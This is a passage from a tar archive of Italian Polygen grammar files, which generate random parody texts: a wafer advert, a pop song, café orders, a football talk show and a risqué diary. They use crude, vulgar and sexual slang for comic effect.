(gioia|paura|pelle|satira|pioggia|calma|noia|fretta|vertigine|fine|roccia|follia|gola|bambina|libidine|schiuma|medusa|centrifuga) )[++_|^"-fan"]; Ebbene ::= [ebbene]; Turutu ::= ((( (t)^(a|e|i|o|+u)^(r)^(a|e|i|o|+u)^(t)^(a|e|i|o|+u) )^)+)+^" "^; Altro ::= fa (male|bene)[ancora] |in fondo |con ME |come non [(hai|ho) fatto] mai |Ebbene io lo Verb.P1 [per ME] |ancora |prima o poi |Ebbene non lo so |e' tutto Aggettivo.M |+(o forse|+ma anche) (+no|si') |Ebbene [non] mi (importa|frega|Verb.P3) |(che|e) non (c'e'|Verb.P3) |(a|e|i|o|u)^hhh |non e' (facile|difficile|Aggettivo.M) |[per] ME |-Turutu;polygen-1.0.6.ds2/grm/ita/duplo.grm0000644000175000017500000002037010340417034016374 0ustar enricoenricoI ::= "title: Dentale-Labiale\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: pubblicita'\n" ^ "nostalgia: ... mi vuoi tutta" Ciccia "e brufoli ???\n" ^ "created: 31/10/2004" ; S ::= ViMancaLApproccio NL [ adesso ] vi ( +++ spiego | delucido | + insegno | erudisco ) [ io ] ^":" NL2 [ [ [ [ ( posso Q | ++++ permetti Q | me ne date uno [ per cortesia ] P3 ) grazie P3 [ e ( dammi qua | dammelo ) stronza ESCL ] NL ] ] ] ] [ [ [ [ ( allora | +++++ [ oh [ ecco V ] ] vedete | dunque ) P3 ] ] ] ] Dentale.art Mimpettina il Wafer tipo Caimano P3 NL ma e' Labiale.art SullaCrema che mi Masterizza LEvento ESCL NL [ [ [ capite P3 ] [ perche' ] ] ] altrimenti LaNocciola Spasma P3 e LaLeggerezza Deraglia ESCL NL2 "" Piumistico ESCL ESCL ESCL DL P3 P3 P3 "" ; ViMancaLApproccio ::= ( ( 1: ( ++ ( eh no [ ragazzi ] P3 ) | ( ragazzi [ V che cazzo fate ] ESCL ) ) ) { ( 2: ( ++ ( { non ci siamo } { proprio } ) | ( cosi' non va ) ) P3 NL ) } { ( 3: [ [ [ ma [ vi siete ( guardati | visti ) Q ] ] come [ [ [ [ ( cazzo | cacchio ) [ me ] ] ] ] ] lo ma ^ ( ngi | ---- gn ) ^ ate ( il | 'sto ) \duplo Q NL ] ] ) } ( 4: [ e' che | --- secondo me | si vede che ] ( non avete | + vi manca | dimenticate ) [ [ [ ancora ] ] ] l'approccio ( Dentale | ++ Labiale ).raw ESCL NL ) ).(1|2|3|+++++4).(1|2|3|4).(1|+++2|3|4).(1|2|3|4) ; Mimpettina ::= ( "m'" ^ im ^ | mi s ^ | mi )pettina | mi ( ( ri | co | dis ) ^ ord | [ de ^ ]contam | conf | discrim | mac | procrast | rimug | rinom | riprist | rum | sbocch | scard | scompag | sgom | sgua | spomp | sterm | strof | sviol | tra | unc ) ^ ina | "m'" ^ ( illum | imp ^ > ( ag | app | oll ) | in ^ > ( card | cr | crim | far | sangu | sem ) ) ^ ina | mi ( disin ^ ( nesca | tossica ) | estrinseca | reindirizza | rinforza | sincronizza | slingua[ ^ zza ] ) | "m'in" ^ ( cappera | capsula | cespica | chioda | cornicia | curva | dicizza | fagotta | fervora | fiocchetta | gravida | guanta | izializza | tercetta | terroga | terseca | tonaca | tossica | vestiga | saliva ) ; Wafer ::= wafer | ( welfare | water | software | cracker | buffer | server | geyser | laser | driver | cazzo ) ; Caimano ::= ----- caimano | ( pellic | tuc | gabbi | fagi | altopi | aeropl | sciam | controm | talism | catamar | pastr | marzi | pant ) ^ ano | ( gabbana | + puttana | carovana | caciotta | calvario | bandana | catrame | gavettone | lavabo | zerbino | menagramo | duodeno | avantreno | ++ calamaro | clitoride | babbuino | pinguino | licantropo | metacarpo | abbaino | giaguaro | autocarro | ramarro | merolone | scappellamento a ( +++ de | sini ) ^ stra ) ; SullaCrema ::= - sulla crema | ( sulla > ( + crepa | + fica | -- gleba | grana | nerchia | ceppa | piuma | sega | --- balena | + iena | fregna ) | "sull'" ^ > ( ecz | ed | erit ) ^ ema | sullo scroto | su "D'Alema" ) ; Masterizza ::= ----- mast ^ ( ++++++ erizza | urba ) | ( +++ memor | sonor | vapor | terror | motor | pastor | cicatr | valor | focal | ospedal | scandal | legal | commercial | smaterial | industrial | formal | normal | psicanal | razional | istituzional | personal | municipal | liberal | catal | capital | strumental | brutal | spiritual | visual | gamb | rate | atrof | catech | contabil | potabil | stabil | steril | ottim | +++++++ sodom | organ | vulcan | sincron | sinton | polar | raddr | caratter | cauter | computer | polver | ipnot | martir | elettr | magnet | concret | anestet | narcot | ammort | scanner ) ^ izza ; LEvento ::= - "l'evento" | ( "l'" ^ >( antenna | >( au | avveni | ele | escre ) ^ mento | utente ) | il >( cemento | convento | dividendo | fetente | flamenco | frangivento | frumento | lamento | movente | pavimento | pigmento | reverendo | serpente | talento | trapianto | tremendo | weekend | buco del culo | buonsenso ) | la >( ventola | canna | (m|g)^ente | droga | supercazzola ) | lo > ( spavento | stronzo ) | controvento | i proventi | \flavia \vento ) ; LaNocciola ::= ---- la nocciola | ( ++ la > ( bagnarola | bocciofila | braciola | capriola | carriola | casseruola | cazzuola | cipolla | moviola | museruola | pistola | pummarola | robiola | scarola | \seredova | stagnola | supposta | tagliola ) | -- il > ( gorgonzola | barcarolo | cannolo | crogiolo | cuculo | fagiolo | lenzuolo | metanolo | pinolo | tovagliolo | vaiolo | vetriolo ) ) ; Spasma ::= --- spasma | ( + orgasma | sbianca | scappa | scopa | scoppia | sgama | + smamma | ++ [ s ^ ]balla | spacca | + spalma | spara | sgrassa | sparla | spasima | amalgama | caga | entusiasma | sbafa | + sbanda | +++ sbava ) ; LaLeggerezza ::= ------ la leggerezza | ( la > ( >( +++++ monn | ++ stitich | destr | limpid | nitid | pur | scellerat | sciocch | tener | trist | pesant ) ^ ezza | pagliuzza | deficienza | madre badessa | puzza | scamorza ) | il parabrezza | "l'" ^ > ( amar | ebbr | ubriach ) ^ ezza ) ; Deraglia ::= ---- deraglia | ( sferraglia | si ( anno | sbagl | squagl ) ^ ia | sparpaglia | tartaglia | "s'" ^ in ^ ( caglia | troia ) | ( ti | si ) sdraia | attanaglia | bisbiglia | conguaglia | deflette | derapa | farfuglia | gorgoglia | ingoia | mitraglia | ritaglia | sbadiglia ) ; Piumistico ::= ( piumi | ( orgia | scola | ( fet | sempl ) ^ ici | p[ ^ ar ] ^ odi | pacifi | catechi | scii | >( [ ca ^ ]ba | scanda | surrea | capita | motocic | pugi | nichi | sti | ocu ) ^ li | >( eufe | estre | enig | alchi | trasfor ) ^ mi | alpini | agno | >( [ ant ^ ]ag | spi | illusi | inflazi | esibizi | nozi ) ^ oni | anacroni | infortuni | opportuni | utopi | lingui | altrui | >( euca | caratte | avveni | folclo | umo | futu ) ^ ri | parossi | ( spiri | occul | quan | den | ar | paracadu ) ^ ti ) ) ^ sticooooo ; DL ::= ( "dentaleee" Labiale | Dentale^"ee" "labiale" | Dentale^"ee" Labiale ).raw ^ "ee" ; Dentale ::= ( ( ++++ ( +++++ IL | -- L inci ^ | ++ IL trascen ^ | L (a|o)^cci ^ )dent | ( +++ IL | L orna ^ | + IL rudi ^ | IL monu ^ )ment | IL >( ++ rett | mai | cinghi | let | + brut | front | tot | pap | ventr | genit | --- centr | mort | duoden | ++ vagin ) ) | -- ( ( IL dog | L artigi | IL settim ) ^ an | IL > ( geni | vertic | gradu | ( lit | pett ) ^ or | micidi | digit | surre | fisc | demani | post | pedon | trionf | mestru | cervic | ----- labi | prematrimoni ) | L > ( infinitesim | ( intercontin | ori ) ^ ent | orizzont | inguin | inte ^ ( st | r ) ^ in ) | LO > ( spettr | stat ) | ( IL commer | ---- LO spe ) ^ ci ) ) ^ ale ; Labiale ::= ( ( IL > ( +++++ labi | facci | ++ nas | palat | ren | pen | glob | ++ tomb | lingu | pap | ++ besti ) | ( L imm ^ | L elett ^ | LO spaziotemp ^ | L ) or | + LO spazi | ( +++ L | IL (b|f|c) ^ )an ) | -- ( IL > ( nuzi | nav | teatr | sindac | ( ( p | f ) ^ lu | tri | gio ) ^ vi | ( cru | guan | provin | gla ) ^ ci | ( ra | mon | cor | primor | ++++ multime ) ^ di | larv | rate | vettori | flore | neutr | pasqu | virtu | trache | cerebr | longitudin | ----- dent ) | L > ( unilater | uninomin | antigravitazion | oligominer | illeg | extra ^ ( sensori | coniug ) ) | ( IL bi | L omo | ++ IL tran ) ^ sessu | ( L a | IL sub ) ^ norm | LO sle ) ) ^ ale ; Ciccia ::= > ( ++++++ ci | umidi | molli | ri | fe | pelli | +++ sar^(s|c)^i | + malati ) ^ ccia | +++ cispa | cicca ; IL ::= ( art: "il" | prep: "del" | raw: _ ); L ::= ( art: "l'" ^ | prep: "dell'" ^ | raw: _ ); LO ::= ( art: "lo" | prep: "dello" | raw: _ ); NL ::= ^ "\n" ^ ; NL2 ::= NL NL ; P ::= ^ "." ; P3 ::= ^ "..."; ESCL ::= ^ "!"; Q ::= ^ "?"; V ::= ^ ","; polygen-1.0.6.ds2/grm/ita/djfrancesco.grm0000644000175000017500000000540310340417034017532 0ustar enricoenricoI ::= "title: DjFrancesco\n" ^ "author: Denis e Laura <laura@micionline.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: Sanremo\n" ^ "created: marzo 2005" ; S ::= Strofa Strofa "\n" Ponte "\n" Ritornello Ritornello "\n" ; Strofa::= "Francesca" che mangia una pesca dal ramo "\n" e il lago che lei preferisce e' quello di "Como" "\n"|"Francesca" e' davvero una forza della "Natura" "\n" "Francesca" che c'ha il reggiseno di sesta misura "\n"|"Francesca" che sta alla finestra nel mese di maggio "\n" "Francesca" che sopra alla testa si e' fatta un tatuaggio "\n" |"Francesca" che beve acqua fresca sul melo "\n" "Francesca" che perde il vizio ma mai il pelo "\n" | "Francesca" che guida la vespa e non ha paura "\n" e il piatto che lei preferisce e' la verdura "\n" | "Francesca" che ha dato una festa giu' nel cortile "\n" e il mese che lei preferisce e' il mese d'Aprile "\n" | "Francesca" respira aria fresca nel mese di agosto "\n" e il piatto che lei preferisce e' l'anatra arrosto "\n" ; Ponte::= ^"Francesca" stringe (i denti | i pugni | gli occhi ) e stringili anche tu "\n" ed entra nel mio mondo e avrai toccato proprio il fondo "\n" ; Ritornello::= "Anche" se ( sembra | a volte e' | spesso e' ) Qualita "\n" "Francesca" e' Difetto ("Francesca" e' | e pure ) Difetto "\n" | "Anche" se ( sembra | a volte e' | spesso e' ) Pregio "\n" "Francesca" e' Malattia ("Francesca" e' | e pure ) Malattia "\n" | "Anche" se ( sembra | a volte e' | spesso e' ) Colpa "\n" "Francesca" Verbo "Francesca" Verbo "\n" | "Anche" se fa (lo scientifico | il liceo classico | matematica) "\n" "Francesca" e' un'asina ("Francesca" e' | e pure ) stupida "\n" | "Anche" se ( prende l'Activia | non sembra gravida | mangia la rucola | sembra bulimica ) "\n" "Francesca" vomita "Francesca" e' stitica "\n" | "Anche" se prende la pillola "\n" "Francesca" e' vergine "Francesca" e' lesbica "\n" ; Qualita::= un po' timida | un po' anemica | simpatica | ridicola | un po' comica | buonissima | un po' un'ebete ; Difetto::= zoccola | squallida | lurida | perfida | trucida | cupida | avida | fetida | sudicia | sordida | insipida ; Pregio::= ricchissima | fantastica | sanissima | bellissima | fortissima | romantica | incantevole ; Malattia::= povera | vedova | tisica | miope | presbite | nubile | asmatica | debole | anemica | misera | gracile | esile | invalida ; Colpa::= una chiavica | malefica | antipatica | diabetica | anoressica | una zoccola | patetica | nevrotica | cianotica | lunatica | una pecora ; Verbo::= mi eccita | stuzzica | stimola | mi agita | e' unica | e' musica | zoppica | ansima | cigola | mugola | rantola | pungola | gongola | giubila | sibila | scalpita | ruzzola ; polygen-1.0.6.ds2/grm/ita/ordinazione.grm0000644000175000017500000000714310340417034017575 0ustar enricoenrico I ::= "title: Facciamo ordinazione\n" ^ "author: Pan <pan@spinningkids.org>, Pasu & Pete\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: e' estate, prendiamoci un " Prod ^"\n" ^ "created: 03/08/2004" ; S ::= IDomanda \IOrdinazione; PlainS ::= Domanda \Ordinazione; IDomanda ::= "" Domanda ""^; Domanda ::= ("I lor signori desiderano?" | "Dite." | "Pronti?" | "Comandi" | "Dite pure" | ----"Prima di notte riusciamo ad ordinare?") "\n"^; IOrdinazione ::= Prods (IAltroNo | +(IAltroSi IOrdinazione)); Ordinazione ::= Prods (AltroNo | +(AltroSi Ordinazione)); Prods ::= Prod | +(ListaProd "e" Prod); ListaProd ::= (ListaProd ^"," Prod) | Prod; Prod ::= Prodotto.M.S | -Prodotto.M.P | -Prodotto.F.S | --Prodotto.F.P; Prodotto ::= Num ProdCaffetteria Temp ((((DicuiCorr [(--^"" | ((P:"e") Tazza))]) | (CorrTransl [(--^"" | (Dicui Tazza))])) ) | ([Dicui] Tazza) | ++^""); ProdCaffetteria ::= (M: ("caffe'" | "the" | ((S: ("marocchino" | "cappuccino" | "latte" | ------"eritreo")) (P: ("marocchini" | "cappuccini" | "bicchieri di latte" | ------"senegalesi"))))) (F: (S: ("cioccolata" | "grappa")) (P: ("cioccolate" | "grappe"))); Temp ::= ++^"" | +(("cald" | "fredd" | "tiepid" | "gelat") Conj) | (("bollent" | "ustionant") ^((S: "e") (P: "i"))); TempC ::= ++^"" | +(("cald" | "fredd" | "tiepid" | "gelat") ConjC) | (("bollent" | "ustionant") ^((CS: "e") (CP: "i"))); Num ::= (S: ((F: "una") (M: "un"))) (P: ("due" | "tre" | "quattro" | "cinque" | "sei" | "sette" | "otto" | "nove" | "dieci" | ----"trentasette" | ------"quarantadue")); Correzione2 ::= ("corrett" ConjC (--^"" | TipoCorrezione2)) | ----(("sbagliat" | ---"maleducat") ConjC); Correzione ::= Correzione1 Correzione2; Correzione1 ::= ++^"" | ("macchiat" ConjC TempC) | ("lung" ConjC2) | ("ristrett" ConjC) | ---("pacioccon" ConjC); TipoCorrezione2 ::= "sambuca" | --"mandarinetto" | "nardini" | ----"salmiakki" | ----"ch-inotto" | "cointreau" | "vecchia romagna" | "anisetta" | "cognac" | "whiskey" | "whisky" | "courvoisier" | "bourbon"; Dicui ::= (P: "di cui" (((M: "uno") (F: "una")) | "due" | --"tre")); DicuiCorr ::= (P: "di cui" (((M: "uno" Correzione.CM.CS) (F: "una" Correzione.CF.CS)) | (("due" | --"tre") CorrTransl))) (S: CorrTransl); CorrTransl ::= (P: ((M: Correzione.CM.CP) (F: Correzione.CF.CP))) (S: ((M: Correzione.CM.CS) (F: Correzione.CF.CS))); Tazza ::= "in" (Luogo.LM | Luogo.LF); Luogo ::= ((LF: ("tazzina" | "tazza" | ---"bottiglia")) (LM: ("bicchiere" | "bicchierino"))) ["grande" | (LM: ("piccolo" | "medio")) (LF: ("piccola" | "media"))] [(LM: ("caldo" | "freddo" | "tiepido")) (LF: ("calda" | "fredda" | "tiepida"))] [++^"" | "di vetro" | "di plastica" | --"di terracotta" | -----"di selce" | -----"di peltro" | ---"di argilla" | ---"con due manici" | -"blu" | ------"con tre manici" | ---"rosa antico"]; Conj ::= ^((M: (S: "o") (P: "i")) (F: (S: "a") (P: "e"))); ConjC ::= ^((CM: (CS: "o") (CP: "i")) (CF: (CS: "a") (CP: "e"))); ConjC2 ::= ^((CM: (CS: "o") (CP: "hi")) (CF: (CS: "a") (CP: "he"))); IAltroNo ::= ^".\n"^ ("Basta?\nSi," | "Altro?\nNo,") ("siamo a posto." | "grazie." | "a posto cosi'." | "basta cosi'." | "e' ok.") ; AltroNo ::= ^".\n"^ ("Basta?\nSi," | "Altro?\nNo,") ("siamo a posto." | "grazie." | "a posto cosi'." | "basta cosi'." | "e' ok.") ; IAltroSi ::= ^".\n"^ ("Basta?\nNo," ["dimenticavo... ci porti"] "anche" | "Altro?\nSi, anche"); AltroSi ::= ^".\n"^ ("Basta?\nNo," ["dimenticavo... ci porti"] "anche" | "Altro?\nSi, anche");polygen-1.0.6.ds2/grm/ita/aldo.grm0000644000175000017500000002432310340417034016172 0ustar enricoenricoI ::= "title: Il Processo di Biscardi\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: nothingness of mind\n" ^ "audience: i 60 milioni di commissari tecnici che popolano l'Italia\n" ^ "note: ragazzi, Xavier Jacobelli fa davvero paura quando guarda la telecamera da due centimetri di distanza!" ; S::= BLOCCO1 (BLOCCO2)+ BLOCCO3 BLOCCO4 END ; BLOCCO1 ::= INTRO PREFAZ (X::=SGUBB; X e poi SEGNO.PU2 X [e poi SEGNO.PU2 X])^"\n"^ PREFAZ PUBBLICITA ; BLOCCO2 ::= RETURN SEGNO.PU2 MESS SEGNO.PU1 COMMENTI ^"\n\n"^ ({MELLI} {CORNO})+ "\n"^ALDO1 [XAVIER] \e dobo la pubbligida' barleremo del nosdro nuovo sgubb SEGNO.PU2 SGUBB PUBBLICITA; BLOCCO3 ::= RETURN2^("\n"^SUPERMOVIOLA COMMENTOMOVIOLA PUBBLICO ["\n"^ALDO1] ["\n\n"^XAVIER])+ ^"\n\nE adesso boghi segondi di bubbligida' brima del blocco finale.\n"^VALLETTA; BLOCCO4 ::= RETURN3 BOMBE; END ::= ^\grazie mille [\ravezzani] ma (il dembo | lo sbazio | il balinsesdo) e' (d|t)^iranno (e dobbiamo ghiudere | guesda bundada del brogesso dermina | dobbiamo saludare duddi e ghiudere) (q|g)^ui SEGNO.PUE (buonanodde a duddi ) [e alla brossima (bundada | sdagione) del \brogesso di \biscardi] SEGNO.PUE ; RETURN ::= ^\[bendornadi [al \brogesso di \bisgardi] SEGNO.V] e ora barliamo (di CALCIATOREALDO | ( della SQUADRA.LA | del SQUADRA.IL | dell'^SQUADRA.L)) ; RETURN2 ::= ^\[bendornadi [al \brogesso di \bisgardi] SEGNO.V] e ora golleghiamogi con la "Subermoviola!\n"; RETURN3 ::= ^\[bendornadi [al \brogesso di \bisgardi] SEGNO.V] e ora (sendiamo | asgoldiamo) le bombe di \ravezzani SEGNO.PUE ; BOMBE ::= "\n\n"^\ravezzani SEGNO.PU2 ""SEGNO.VT^ \ (grazie \aldo | bene \aldo | allora) SEGNO.V grandi (notizie | novita' | scoop | movimenti nel calcio mercato ) questa settimana SEGNO.V infatti VOCI PASSAGGIO SEGNO.PU3 SEGNO.VT ^"\n" [PUBBLICO^"\n"^] \("\n"^\ravezzani SEGNO.PU2 ""SEGNO.VT^ inoltre VOCI PASSAGGIO SEGNO.PU3 SEGNO.VT^"\n" [PUBBLICO^"\n"^])+ "\n"^\ravezzani SEGNO.PU2 ""SEGNO.VT^ \infine SEGNO.V (la superbomba | la grande notizia | il grande evento ) (della settimana | del mese | dell'anno) SEGNO.PU2 CALCIATORE (alla SQUADRA.LA | al SQUADRA.IL | all'^SQUADRA.L) SEGNO.PUE^SEGNO.PUE SEGNO.VT^"\n" PUBBLICO^"\n"; VOCI ::= voci di corridoio danno gia' per concluso il | i soliti ben informati parlano del | radio mercato non fa che parlare del | si dice che sia gia' concluso il | lo stesso LECCACULISMO "(persona estremamente corretta)" ha ufficializzato il ; PASSAGGIO ::= (passaggio | trasferimento ) di CALCIATORE (alla SQUADRA.LA | al SQUADRA.IL | all'^SQUADRA.L) ; SUPERMOVIOLA ::= \moviolista SEGNO.PU2 SEGNO.VT^ \(bene \aldo SEGNO.V | dunque SEGNO.V | allora SEGNO.V ) ora esaminiamo in SQUADRA.IL,SQUADRA.LA,SQUADRA.L ^"-"^ \bologna (l'azione | il presunto fallo | l'entrata) di CALCIATORE su CALCIATORESFIGATO SEGNO.PU2 [da questa angolazione | da qui | _ | dall'angolazione dell'arbitro ] (si vede | potete vedere | si puo' notare) che (non c'e' fallo | e' tutto regolare | il fallo del difensore sarebbe da (rigore | cartellino rosso | espulsione | squalifica | radiazione dall'album delle figurine \panini | galera) | l'attaccante ha sempre ragione ) [e che (l'arbitro [ARBITRO] | il direttore di gara | il signor ARBITRO ) ha giustamente (espulso | ammonito | cacciato | redarguito) il difensore ] SEGNO.PU3 (commenti [da studio] | tu cosa ne dici SEGNO.V \aldo | qualcuno ha qualcosa da dire )SEGNO.PUI ^SEGNO.VT; COMMENTOMOVIOLA ::= "\n\n"^ALTRO SEGNO.PU2 ""SEGNO.VT^ (andava espulso [come minimo] | qui ci vogliono almeno (3 | 4 | 5 | 6 | 7) giornate di squalifica | dobbiamo proteggere i nostri campioni | la solita arroganza delle grandi | la sudditanza psicologica esiste | ci vuole la moviola in campo )^SEGNO.PUE^SEGNO.VT ; PUBBLICO ::= "\n"^\pubblico SEGNO.PU2 ""SEGNO.VT^ ( eeeh | buuuh | scemo | vai \aldo | evviva LECCACULISMO | abbasso CAPROESPIATORIO | applausi | forza (SQUADRA.LA | SQUADRA.IL | SQUADRA.L) )^SEGNO.PUE^SEGNO.VT; XAVIER ::= [\xavier | \gsavie'] \jacobelli (SEGNO.PUI | SEGNO.V direttore di \tuttosport SEGNO.PUE | SEGNO.V i tuoi gommendi SEGNO.PUE) ^"\n"^"Jacobelli:\""^\(bene SEGNO.V vedi \aldo SEGNO.PP | IND | io direi che SEGNO.PP | la mia opinione e' che SEGNO.PP)^"\"\n"^ALTRO SEGNO.PU2 SEGNO.VT^ (ma va' SEGNO.PUE | eeeeh SEGNO.PUE | ma dai SEGNO.PUE | ma no SEGNO.PUE) SEGNO.VT ^"\n"^ "Jacobelli:\""^\(eh pero' cosi' non si fa eh | eh insomma | eh allora | eh per favore ) SEGNO.V (non si puo' fare cosi' | io sto cercando di parlare | io sono qui che cerco di dire la mia | se parliamo tutti insieme poi non si capisce niente) SEGNO.PUE SEGNO.VT ^"\n"^ \[piu' che] giusto SEGNO.PUE [piu' che] giusto SEGNO.PUE (lasciamo parlare \jacobelli | gsavie' SEGNO.V ti chiedo scusa) SEGNO.PUE; ARBITRO ::= \( collina | trefoloni | trentalange | rodomonti | pieri) ; MESS ::= (CALCIATOREALDO sgabba dal ridiro (del SQUADRA.IL | della SQUADRA.LA | +dell'^SQUADRA.L) | CAPROESPIATORIO si dige (a favore |contro ) la moviola in gambo | sosbeddada gombine [nel bareggio] dra SQUADRA.IL,SQUADRA.LA,SQUADRA.L e SQUADRA.L,SQUADRA.IL,SQUADRA.LA ) SEGNO.PU3 LECCACULISMO SEGNO.V che e' (un galanduomo | una bersona onesda | un grande esempio di valori morali) SEGNO.V si (dige | dighiara) (sdegnado | indignado ) ; COMMENTI ::= (sendiamo | raggogliamo | asgoldiamo | golleghiamogi gon \roma ber) (i gommendi | un bo' di gommendi a galdo) SEGNO.PUE; ALTRO ::= "Zamparini" | "Gaucci" | "Melli" | "Corno" ; EDIZIONE ::= (venti|trenta|quaranta|cinquanta|sessanta|settanta)^(eun|du|tre|quattr|cinqu|sei|sett|ott|nov)^esima ; ENORME ::= grand^(S:e|P:i) | ingommensurabbil^(S:e|P:i) | ingredibbil^(S:e|P:i) | sdubefacent^(S:e|P:i) ; INTRO ::= \[signore e signori SEGNO.V] buonasera [a duddi] [e benvenudi] SEGNO.PU3 ( (questa bundada (apre|chiude) la EDIZIONE edizione del \processo [di \biscardi | --del lunedi']) | (benvenudi alla (quinta|sesta|decima|ventesima|trentesima) bundada di questa EDIZIONE edizione del \processo [di \biscardi | --del lunedi']) ) SEGNO.PU1; PUBBLICITA ::= ma prima SEGNO.V (boghi segondi di bubbligida' | gonsigli ber gli aguisdi | un gol dai nostri sbonsor ) SEGNO.PU0 VALLETTA; MELLI ::= "Melli:"^ ((\corno SEGNO.V ( sei ridicolo | taci | stai zitto | ma che stai a ddi' | ma perche' devi fare la figura del cretino | ma smettila | sei due braccia rubate all'agricoltura) ) | \e' ora di smetterla di (angariare | maltrattare) le romane | \smettiamola coi torti alle romane | \il calcio non sta solo a nord | \e' ora di cominciare a proteggere le romane )SEGNO.PUE ^"\n"^ ; CORNO ::= "Corno:"^ \melli SEGNO.V ( basta parlare delle romane [che non vincono mai nulla] | finiscila di comportarti da pirla | taci | e basta con 'ste romane | pensate a vincere qualcosa anziche' lamentarvi | ma perche' parli | e stai zitto SEGNO.V pistola ) SEGNO.PUE ^"\n"^ ; IND::="ehm..." | "ecco..." | "dunque..."; VALLETTA ::= "Valletta: \""^\(IND)+ (e ora | e adesso | ora) IND ((cinquanta | ++trentacinque )secondi di IND pubblicita' | una IND telepromozione offerta dal nostro IND sponsor | un {[importante]} {messaggio} da parte IND dei nostri sponsor) SEGNO.PU3 a {IND} {tra} poco^"\".\n\n" ; PREFAZ ::= \ (ENORME.S bundada | ENORME.P nodizie | ENORME.P sgubb) (questa sera | oggi ) SEGNO.PU2 ; SGUBB ::= \( {CALCIATOREALDO} e {SQUADRA} SEGNO.PU2 e' crisi SEGNO.PUI | CALCIATOREALDO (alla SQUADRA.LA | al SQUADRA.IL | all'^SQUADRA.L) SEGNO.PU2 AMLETO | scandalo SCANDALO SEGNO.PU2 AMLETO | il \brocesso vuole la moviola in gambo SEGNO.PUE | le bombe di \ravezzani SEGNO.PU3 | le pagelle del comandante \stopardi SEGNO.PU3 ); AMLETO ::= {realta'} o {fantasia|sogno} SEGNO.PUI | solo un sogno di una nodde di mezz'esdade SEGNO.PUI | e' un problema reale SEGNO.PUI | e' colpa di CAPROESPIATORIO SEGNO.PUI | e' ora che CAPROESPIATORIO (rassegna le dimissioni | si dimetterebbe) SEGNO.PUI | (il calcio | CAPROESPIATORIO | la federazione) ha passato i limiti SEGNO.PUI ; SCANDALO ::= pornostar | calcioscommesse | totonero | pastette | arbitraggi | moviola in campo ; CAPROESPIATORIO ::= \(+++carraro | campana | abete | nizzola | matarrese | bergamo | pairetto | +trapattoni); LECCACULISMO ::= \(berlusconi | collina | moggi | giraudo | bettega | galliani | lippi | montezemolo | della valle); CALCIATORE ::= "Del Piero" | "Vieri" | "Totti" | "Inzaghi" | "N"^[i]^edv^[i]^e^(v|d)^(ev|"") | "Trezeguet" | "Shevchenko" | "Crespo" | "Adriano"; CALCIATORESFIGATO ::= "Sussi" | "Torrisi" | "Petruzzi" | ["Ilie"] "Nastase" | "Loviso" | "Capuano"; CALCIATOREALDO ::= "Del Biero" | "Gassano" | "Vieri" | "Doddi" | "Inzagghi" | "Sievgengo" | "N"^[i]^edv^[i]^e^(v|d)^[ev] |"Drezeghe'" | "Addriano"; SQUADRA ::= (LA:(("Juventus" | "Juve") | "Lazio" | "Roma" | "Fiorentina" ) | IL: ("Milan" | "Parma" | "Chievo" ) | L:("Inter")); ALDO1 ::= \[ber favore SEGNO.V] non parlate tutti insieme SEGNO.V massimo "2-3" alla volda^"..."\ (qui al brocesso le polemiche fioccano come nesbole | e' una notizia importante SEGNO.V per la radio la possono vedere tutti | abbiamo fatto questo "pingo-pongo" per svirilizzare gli animi troppo accesi in questa contesa | frangicanava SEGNO.V passami quel fac^"..." no non facs SEGNO.V quello e' plurale e io ne voglio solo uno | dobbiamo andare con il piede per terra | sendiamo l'opinione degli italiani^"..." linea al sondaggio | linea alla subermoviola | giusdo SEGNO.PUE giusdo | CAPROESPIATORIO va assigurado alle patrie galere | evviva [quel galanduomo di] LECCACULISMO | CALCIATOREALDO in nazionale | CAPROESPIATORIO deve gonvogare CALCIATOREALDO in nazionale) SEGNO.PUE; SEGNO ::= (PP: ^"..."^\ |PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | PUE: ^"!"\ | PUI: ^"?"\ | V: ^"," | VT: ^"\""\ );polygen-1.0.6.ds2/grm/ita/melissap.grm0000644000175000017500000001013710340417034017066 0ustar enricoenricoI ::= "title: Melissa P.\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "disc: fermo restando che a Helder non gliela da'\n" ^ "comment: il diario di Melissa P. detto anche il manuale delle giovani mignotte. Noi adepti del Polygen che siamo fichi sappiamo che questo diario e' completamente generabile. L'unica cosa che non possiamo generare e' una raccomandazione da Maurizio \"Kiss me Licio\" Costanzo.\n" ^ "created: 28/5/2004" ; S::= \ [[QUANDO] PARTE1] (X ::= {PARTE2} {PARTE3} {PARTE4} {PARTE5}; X (+ X [X] | _)) [PARTE6]; QUANDO ::= oggi | ieri | la notte scorsa ; PARTE1 ::= (NOME e' arrivato a casa mia | sono andata a casa di NOME | mi sono trovata con NOME in una stanza [d'albergo | di un motel [a ore]]) (SEGNO.PU2 | perche') lui MESTIERE SEGNO.PU1; MESTIERE ::= e' il (mio | nostro) (medico | dentista | podologo | ginecologo | idraulico | psichiatra | proctologo) [di fiducia] | mi da' lezioni private ; PARTE2 ::= [vedo che| noto che | mi accorgo che ] NOME (ha qualcosa di STRANO.M | e' particolarmente STRANO.M | mi guarda in modo STRANO.M) (SEGNO.V | SEGNO.PU2) (((lo vedo | posso notarlo | me ne accorgo ) da molte cose SEGNO.PU2 (ATTREZZO SEGNO.V)+ ma soprattutto ATTREZZO) | ( mi sta (guardando|fissando) OGGETTO con (sguardo | occhio) STRANO.M da piu' di (mezz'ora | un'ora | due ore | tre ore) | (tenendo in mano ATTREZZO mi sussurra cose come ""SEGNO.VT^(AGGETTIVO SEGNO.V)+ AGGETTIVO SEGNO.PUE SEGNO.VT))) SEGNO.PU1 ; PARTE4 ::= NOME {SEGNO.V con ATTREZZO SEGNO.V} {AZIONE} OGGETTO SEGNO.PU2 COMPLIMENTO (mi dice | mi sussurra | mormora) [SEGNO.V e io sono (AGG2 SEGNO.V)+ e AGGETTIVO] SEGNO.PU2 ATTREZZO AZIONE OGGETTO SEGNO.PU1; PARTE5 ::= \(all'improvviso | improvvisamente | poi ) sento CIFRA (mani | piedi | bocche | nasi | orecchie ) (strisciarsi contro | 